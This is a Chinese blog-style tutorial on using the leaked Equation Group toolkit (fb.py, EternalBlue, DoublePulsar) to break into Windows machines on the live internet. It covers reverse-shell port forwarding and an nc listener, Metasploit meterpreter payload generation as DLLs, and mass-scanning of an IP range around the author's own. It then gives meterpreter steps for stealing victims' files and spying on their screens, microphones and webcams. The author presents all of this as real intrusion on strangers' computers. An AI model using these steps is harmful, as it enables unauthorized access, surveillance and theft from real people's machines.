[原創(chuàng)]NASA方程式黑客工具包之初償鮮
前言:
很早就拿到這個(gè)工具包了,興奮之余馬上去測試,但是由于一直沒有合適的實(shí)驗(yàn)環(huán)境,加上工具發(fā)布了兩個(gè)版本,而我拿到的是最早的版本,這個(gè)版本有一個(gè)命令是無法運(yùn)行的,所以測試工作一直未能進(jìn)行下去,加上工作忙,沒有太多時(shí)間研究,就這樣過了好多天,后來比特病毒發(fā)作,同學(xué)找我?guī)兔?,又讓我來了興趣,又重新下載了新版本,于是才有了這往篇日志,回過頭一看,其實(shí)這個(gè)缺少的命令對(duì)實(shí)驗(yàn)環(huán)境是沒有什么太大的影響的,研究了一個(gè)晚上(半夜兩點(diǎn)了),NC各種調(diào)試,才算搞明白了一點(diǎn)永恒之藍(lán)的使用方式,實(shí)在是太菜了...
安裝好工具包以后,進(jìn)入WINDOWS目錄,注意是工具包的WINDOWS目錄,而不是系統(tǒng)的,有個(gè)START.JAR文件,還有個(gè)fb.py文件,我最開始以為FB.PY溢出工具會(huì)返回到START.JAR運(yùn)行后的danderspritz平臺(tái)上面,所以花了太多的時(shí)間都沒有成功(其實(shí)到現(xiàn)在我也沒搞清楚能不能返回到這個(gè)平臺(tái)上面,我覺得應(yīng)該是可以的,留給后面再研究吧)太多工作等待我去做了,今天講的是fb.py這個(gè)腳本工具的利用,配合永恒之藍(lán)漏洞,在互聯(lián)網(wǎng)實(shí)戰(zhàn)環(huán)境下面抓肉機(jī),也有可能別人早就有了這樣的文章,但是我覺得還是有必要把一些基礎(chǔ)的信息和需要注意的細(xì)節(jié)問題給寫出來,方便新人測試!畢竟實(shí)驗(yàn)環(huán)境不同于實(shí)戰(zhàn)環(huán)境,會(huì)遇到各種問題,對(duì)于新手來說,一個(gè)小小的細(xì)節(jié)就可能導(dǎo)致入侵的失?。?/span>
一、準(zhǔn)備階段
所需要的工具:
NASA武器庫壓縮包
python2.6 pywin32
NC.EXE
KALI LINUX (要用到里面的美少婦生成DLL文件)
S.EXE (一款優(yōu)秀的掃描器,非必須,也可用KALI namp代替)
安裝步驟這些就不談了,我們先大概了解一下網(wǎng)絡(luò)環(huán)境,這篇完全是照顧菜鳥的,大牛飄過,直接看實(shí)戰(zhàn)階段!
先給大家說明一點(diǎn),永恒之藍(lán)是通過445端口進(jìn)行攻擊的,所以我們要掃描互聯(lián)網(wǎng)環(huán)境下主機(jī)的這一端口,而現(xiàn)在運(yùn)營商為了防治網(wǎng)絡(luò)攻擊,好多IP段的445端口是被封的,即便主機(jī)開放了端口,那你還是掃描不到任何信息的!據(jù)我了解,端口屏蔽狀況根據(jù)不同地區(qū)而有所不同,也會(huì)因?yàn)檫\(yùn)營商的不同而不同!
聽到這里,好多人便失去了信心,端口都掃描不到,那還玩?zhèn)€屁?。〉切疫\(yùn)的是,事情沒有那么絕對(duì)!很多上網(wǎng)用戶是家庭撥號(hào)上網(wǎng)的,也就是PPPOE協(xié)議撥號(hào)上去的,運(yùn)營商會(huì)暫時(shí)分配一個(gè)互聯(lián)網(wǎng)真實(shí)IP給用戶,對(duì)于這樣的用戶來說,可玩性還是很高的!而更多的用戶是光纖上網(wǎng),撥號(hào)成功以后進(jìn)路由器看到的IP和www.ip138.com上面看到的實(shí)際IP是不同的,這樣的用戶就有點(diǎn)郁悶了~就像我辦公室就是這樣的環(huán)境,后者的網(wǎng)絡(luò)環(huán)境最郁悶的地放就是沒法用反彈?。ɑㄉ鷼し磸検强梢越鉀Q這個(gè)問題的,不在此文描述?。?br /> 啰嗦了這么多,慢慢進(jìn)入正題吧!
想要入侵,總該 有個(gè)目標(biāo)吧!所以我們先要知道自己的IP地址,注意,這個(gè)地址不是你的局域網(wǎng)的地址,而是互聯(lián)網(wǎng)的真實(shí)地址!打開www.ip138.com網(wǎng)站,看到的IP就是自己的真實(shí)IP!
比如,我在青海,看到的IP地址是:
139.170.66.3
(網(wǎng)警同志,別對(duì)號(hào)入座哦,我馬賽克過的,一陣奸笑。。。)
到這里,我覺得有必要向大家對(duì)我的網(wǎng)絡(luò)環(huán)境做一個(gè)簡單介紹!我是青海的聯(lián)通用戶,家里是TPLINK無線路由設(shè)置為自動(dòng)撥號(hào)上網(wǎng)的,電腦通過網(wǎng)絡(luò)接到網(wǎng)線路由器上,手機(jī)通過WIFI接入路由器,當(dāng)然手機(jī)與我們今天的實(shí)戰(zhàn)沒有任何關(guān)聯(lián),只是用來描述網(wǎng)絡(luò)結(jié)構(gòu)的。我們把NASA工具包運(yùn)行的電腦叫做攻擊機(jī)吧!受攻擊的互聯(lián)網(wǎng)電腦叫靶機(jī)。
===============================================================================
攻擊機(jī):
操作系統(tǒng):WIN10 Pro
外網(wǎng)IP無:
內(nèi)網(wǎng)IP:192.168.1.5、192.168.1.15、192.168.172.1...(好幾個(gè),不一一貼了,這些都叫保留地址IP)
KALI linux:192.168.1.102
路由器IP: 139.170.66.3 //此IP為真實(shí)互聯(lián)網(wǎng)IP
手機(jī)1:192.168.1.101
手機(jī)2:192.168.1.103
===============================================================================
可見,我的攻擊擊WIN10是沒有真實(shí)的互聯(lián)網(wǎng)IP的,而如果我們溢出成功,讓靶機(jī)反彈連接到我們的攻擊機(jī)上的時(shí)候,我們必須在攻擊機(jī)開放一個(gè)端口讓靶機(jī)連接進(jìn)來,除此之外,我們還要告訴靶機(jī)讓它返彈到哪臺(tái)主機(jī)上面,也就是讓告訴靶機(jī)反彈的IP和端口信息,這個(gè)IP一定要是真實(shí)的互聯(lián)網(wǎng)IP,所以應(yīng)該是 139.170.66.3 ,而不是 192.168.1.5 !當(dāng)然這個(gè)192.168.1.5地址我們還是有用的,下面會(huì)說到!我們再簡單的理一下攻擊的數(shù)據(jù)包流向,讓菜鳥理解這個(gè)過程,有助于后面的網(wǎng)絡(luò)調(diào)試!整個(gè)攻擊過程是這樣的:
第一步:攻擊機(jī)192.168.1.5發(fā)出攻擊指令,此指令為向外發(fā)出的數(shù)據(jù)包,最終要到靶機(jī)的445端口
第二步:靶機(jī)收到數(shù)據(jù)包,數(shù)據(jù)包中有攻擊機(jī)發(fā)出的攻擊載荷(payload),載荷中包含攻擊機(jī)的真實(shí)IP和端口信息
第三步:載荷在肉機(jī)上執(zhí)行,并成功溢出,肉機(jī)操作系統(tǒng)將自己的權(quán)限發(fā)送到第二步中得到的IP和端口上去主動(dòng)找虐。所以這里的IP肯定是 139.170.66.3,而不是192.168.1.5.
第四步:受虐數(shù)據(jù)庫從肉機(jī)發(fā)送到 139.170.66.3上,而此IP為 路由器,并非攻擊機(jī)電腦,所以我們要將這個(gè)受虐數(shù)據(jù)包轉(zhuǎn)發(fā)到黑客操作的電腦上才行,而不是被路由器擋在門外!所以我們的
第五步:將路由器的收到的數(shù)據(jù)包轉(zhuǎn)發(fā)到攻擊機(jī)的內(nèi)網(wǎng)IP上。
整個(gè)過程中,數(shù)據(jù)包從里向外是怎么出去的不重要,反正都會(huì)到達(dá)受害肉機(jī)上,但是最關(guān)鍵的是從靶機(jī),也就是肉機(jī)返回來的結(jié)果信息一定要到達(dá)攻擊者的電腦上,而不應(yīng)該被任何網(wǎng)絡(luò)堵塞掉,這就是我啰嗦了這么一堆去描述網(wǎng)絡(luò)環(huán)境的原因所在!
OK,知道了這些,我們先來設(shè)置一下路由,在路由上做一個(gè)端口轉(zhuǎn)發(fā),將 139.170.66.3的某一個(gè)端口轉(zhuǎn)發(fā)到攻擊機(jī)192.168.1.15的某個(gè)端口上過來!這樣就保證攻擊機(jī)能正常接受到肉機(jī)發(fā)送過來的反彈數(shù)據(jù)包。一般來說,低端端口被封鎖的可能性大,所以我們在這里盡量采用一些特殊端口,如21、80、443、53、1433、3306、3389之類的端口,因?yàn)檫@些端口為常用協(xié)議端口,所以被封的可能性相對(duì)小一些!其中80端口在肉機(jī)上反彈的時(shí)候突破防火墻的可能性很高!但是一般家庭撥號(hào)上網(wǎng)用戶80端口被封掉的可能性也是很大的!我是用的3389端口,
我們進(jìn)自己的路由器,設(shè)置一個(gè)端口轉(zhuǎn)發(fā)!
在路由器中左邊找到轉(zhuǎn)發(fā)規(guī)則,在右邊添加一個(gè)轉(zhuǎn)發(fā),如下圖:
大家看了圖免不了要問,不是要轉(zhuǎn)發(fā)139.170.66.3的3389端口到192.168.1.5的3389上面嗎?怎么是192.168.1.102? 原因是這樣的,因?yàn)?.5是我的WIN10,NASA工具包運(yùn)行在上面,當(dāng)攻擊成功后肉機(jī)發(fā)送反彈數(shù)據(jù)包過來,先到路由
139.170.66.3上面,路由器發(fā)現(xiàn)數(shù)據(jù)是要找3389端口的,這個(gè)數(shù)據(jù)包應(yīng)該被接收反彈的應(yīng)用捕獲才對(duì),也就是說,由我們的KALI 里面的美少婦MSF捕獲才對(duì),而我的KALI的IP為102,所以我們將3389轉(zhuǎn)發(fā)到102上面,整個(gè)過程就是WIN10攻擊機(jī)只負(fù)責(zé)發(fā)送數(shù)據(jù)包溢出,溢出成功后肉機(jī)反回來的數(shù)據(jù)包由192.168.1.102 KALI MSF接管。希望沒把大家繞糊涂!
OK, 設(shè)置好路由端口轉(zhuǎn)發(fā)以后,我們先來測試一下端口是否暢通無阻!這一點(diǎn)很重要!不然很難保后面能否成功!
我們進(jìn)入KALI,在終端上運(yùn)行命令
NC -L -V -P 3389
如上圖,在192.168.1.102上面監(jiān)聽個(gè)3389端口。 然后我們找個(gè)朋友,把自己的實(shí)際IP告訴朋友,讓它在CMD下面運(yùn)行:
telnet
139.170.66.3 3389
注意,IP換成自己的外網(wǎng)IP。xp\2003才支持telnet命令。如果是其它版本,請(qǐng)自己COPY一個(gè)TELNET.EXE到系統(tǒng)中也可以運(yùn)行的。
如果朋友看到上面的界面,基本上說明網(wǎng)是沒問題的。同時(shí),當(dāng)朋友連上來的時(shí)候,我們會(huì)在KALI里面看到有數(shù)據(jù)包進(jìn)入,如下圖
這時(shí)候其實(shí)你還可以在此窗口中隨便打幾個(gè)這了,就可以互相發(fā)送給對(duì)方窗口中了,更加證明網(wǎng)絡(luò)暢通無阻,如下圖所示
因?yàn)榕笥堰\(yùn)行的命令是 telnet
139.170.66.3 3389 ,后面的3389是端口號(hào),而我們在本機(jī)KALI內(nèi)網(wǎng)環(huán)境下192.168.1.102 的3389能正常接收到數(shù)據(jù)包,這就說明網(wǎng)絡(luò)是沒有問題了,我們可以進(jìn)行下一步操作了。如果這一步有問題,那我們就換個(gè)端口測試,一定要把端口調(diào)試通,找到一個(gè)沒有被運(yùn)營商封鎖的端口。如果這一步?jīng)]有問題了,那么就已經(jīng)成功了一半了!
我們在KALI 終端窗口下用組合鍵 CTR + C 終止當(dāng)前NC端口監(jiān)聽。開始配置我們的反彈客戶端。
進(jìn)入美少婦,我們用到的兩個(gè)載荷為:
payload/windows/x64/meterpreter/reverse_tcp
payload/windows/meterpreter/reverse_tcp
這兩個(gè)載荷分別是64位平臺(tái)和32位平臺(tái)的,參照上圖,設(shè)置兩個(gè)參數(shù) ,SET LHOST XXX.XXX.XXX.XXX ,這里用自己的IP來代替,我是用的花生殼域名代替的,端口設(shè)置為3389.然后生成
generate -f my3389_x64.dll -t dll
同樣再生成一個(gè)32位平臺(tái)的!注意,32位平臺(tái)的建議用其它端口,不要再用3389端口,因?yàn)闀?huì)引起上線沖突,所以我生成了一個(gè) my21_x86.dll文件。這兩個(gè)文件一個(gè)是用來上線64位平臺(tái)的,一個(gè)是用來上線32位平臺(tái)的。
我生成的DLL如下圖所示
我生成的比較多,大家只需要生成DLL格式的即可。
做完這步,我們就可以在KALI中進(jìn)入
metasploit平臺(tái),打開端口監(jiān)聽了,命令如下:
同樣的方法再設(shè)置一個(gè)X86平臺(tái)的監(jiān)聽端口在21上面,同時(shí)別忘記端口轉(zhuǎn)發(fā)。注意X86平臺(tái)不能用X64的載荷,包括生成和監(jiān)聽!
設(shè)置監(jiān)聽完成以后最后再去讓朋友連接測試一下,保證數(shù)據(jù)的暢通!
如果路由端口映射沒問題,KALI監(jiān)聽沒問題,朋友在遠(yuǎn)端自己家里telnet 你的ip 3389 以后應(yīng)該可以看到CMD窗口中大量數(shù)據(jù)流滾動(dòng)的效果(黑客帝國有木有?),這時(shí)候說明前面的步驟全成功了!
還記得前面看到的IP地址嗎?
139.170.66.3 ,我們掃描的關(guān)鍵就是設(shè)置合理的IP段。我們將IP范圍定位在此段前后,數(shù)量大小由自己控制,我設(shè)置為 139.170.20.1-139.170.200.1 ,注意,將IP第三段設(shè)置一個(gè)跨度,以保證有足夠的主機(jī)數(shù)量,如果IP段跨度太大,端口往往是被封的。然后用掃描器進(jìn)行大范圍端口掃描。用什么掃描器看個(gè)人喜歡了。下面是我用S.EXE掃描的結(jié)果。
S.EXE是一款小巧又強(qiáng)大的掃描器速度極快!開了200線程,
Scan 39937 IPs Complete In 0 Hours 9 Minutes 57 Seconds. Found 46 Hosts。
9分鐘掃到了46臺(tái)開放端口的主機(jī),看來還是戰(zhàn)果豐厚。開放掃描完成后它會(huì)將結(jié)果保存到RESULT.TXT文件中。
嘰歪了半天,終于進(jìn)入主題了,看官們肯定早就準(zhǔn)備扔鞋子了.....
二、實(shí)戰(zhàn)階段
在攻擊機(jī)上運(yùn)行攻擊腳本fb.py,我就不抓圖了,關(guān)鍵參數(shù)如下:
其它的默認(rèn)設(shè)置就好了,基礎(chǔ)信息設(shè)置完成以后用USE命令加載永恒之藍(lán)模塊
在FB環(huán)境中輸入U(xiǎn)SE命令 然后TAB鍵就可以檢索命令。
默認(rèn)選擇1,因?yàn)槲腋愣ǖ娜荳IN7系統(tǒng)的,XP也可以,03沒成功過。
見到上面的成功提示信息,我們再用下一個(gè)模塊,從返回信息可以看到是64位平臺(tái)的WIN7操作系統(tǒng)。
輸入 :USE Doublepulsar
輸入攻擊靶機(jī)IP和本機(jī)的IP地址,一路回車,再到如下這個(gè)界面的時(shí)候
我們選擇2,指定我們一開始配置好的my3389_x64.dll進(jìn)行上傳,提交執(zhí)行,如果是X86平臺(tái)的話,則指定 my21_x86.dll,然后一路默認(rèn)信息提示,執(zhí)行,當(dāng)看到運(yùn)行成功的信息以后,我們在KALI里面看到有SHELL已經(jīng)返彈回來了,然后盡情的開始虐待吧,
進(jìn)入SHELL,偷看一下肉機(jī)上的文件,奶奶的,中文全亂碼了!如果想偷取文件的話用EXIT退出SHELL,回到meterpreter提示符下用
download d:\mypic\ -r 進(jìn)行目錄遞歸式下載,如果僅想下一個(gè)文件的話,直接指定文件目錄下載。下圖是肉機(jī)上的文件及目錄
抓個(gè)屏、再偷聽一下聲音,偷窺一下攝像頭!
run vnc
即可將VNC上傳到對(duì)方電腦上,實(shí)際應(yīng)用中往往會(huì)被殺軟干掉的,成功率也不是很高。
上面只是說了一下第一種網(wǎng)絡(luò)環(huán)境下的入侵,也就是在自己擁有獨(dú)立真實(shí)IP環(huán)境下是如何入侵的, 再說一下如果自己沒有真實(shí)的IP地址,那們我們又該如何入侵?
其實(shí)和上面的過程差不多,只不過我們換一個(gè)攻擊載荷就可以了,還記得我們前面生成的DLL文件 my3389_x64.dll、my21_x86.dll嗎?這兩個(gè)文件一個(gè)是64位平臺(tái)的,一個(gè)是32位平臺(tái)的,當(dāng)溢出攻擊成功以后,們們會(huì)注入到遠(yuǎn)程操作系統(tǒng)的進(jìn)程中來執(zhí)行反彈SHELL代碼,現(xiàn)在我們既然沒有真實(shí)的IP環(huán)境,也就不需要反彈了,所以我們直接在溢出成功后讓主機(jī)打開一個(gè)端口監(jiān)聽,等待我們?nèi)ミB接即可!這樣的話,我們有沒有真實(shí)IP就無關(guān)緊要了!
我們用到載荷:
其實(shí)用什么載荷,完全是出自于大家自己喜歡!沒有強(qiáng)行的要求,只要沒有超過攻擊程序限定大小即可!我們就以上面的為例吧!
注意,上面每個(gè)平臺(tái)的我都給出了兩種載荷(payload),比如64位的來說明吧,有 payload/windows/x64/shell/bind_tcp 和 payload/windows/x64/shell_bind_tcp ,我們分別叫做 64位A和64位B吧!如果用的A載荷,那么溢出成功以后必須要用MSF去連,如果是B載荷的話,用NC.EXE就可以,當(dāng)然MSF也是沒問題的。連上去以后直接會(huì)看到對(duì)方主機(jī)的SHELL返回信息。至于實(shí)戰(zhàn)的時(shí)候選擇哪種載荷,完全是看個(gè)人喜歡了。。。
==實(shí)戰(zhàn)篇完==
初償 danderspritz ,客戶端配置,生成的EXE支持私鑰簽名,時(shí)間戳,直接免殺,支持觸發(fā)監(jiān)聽,觸發(fā)反彈,比美少婦強(qiáng)大的多了,隱蔽性更強(qiáng)!有時(shí)間再寫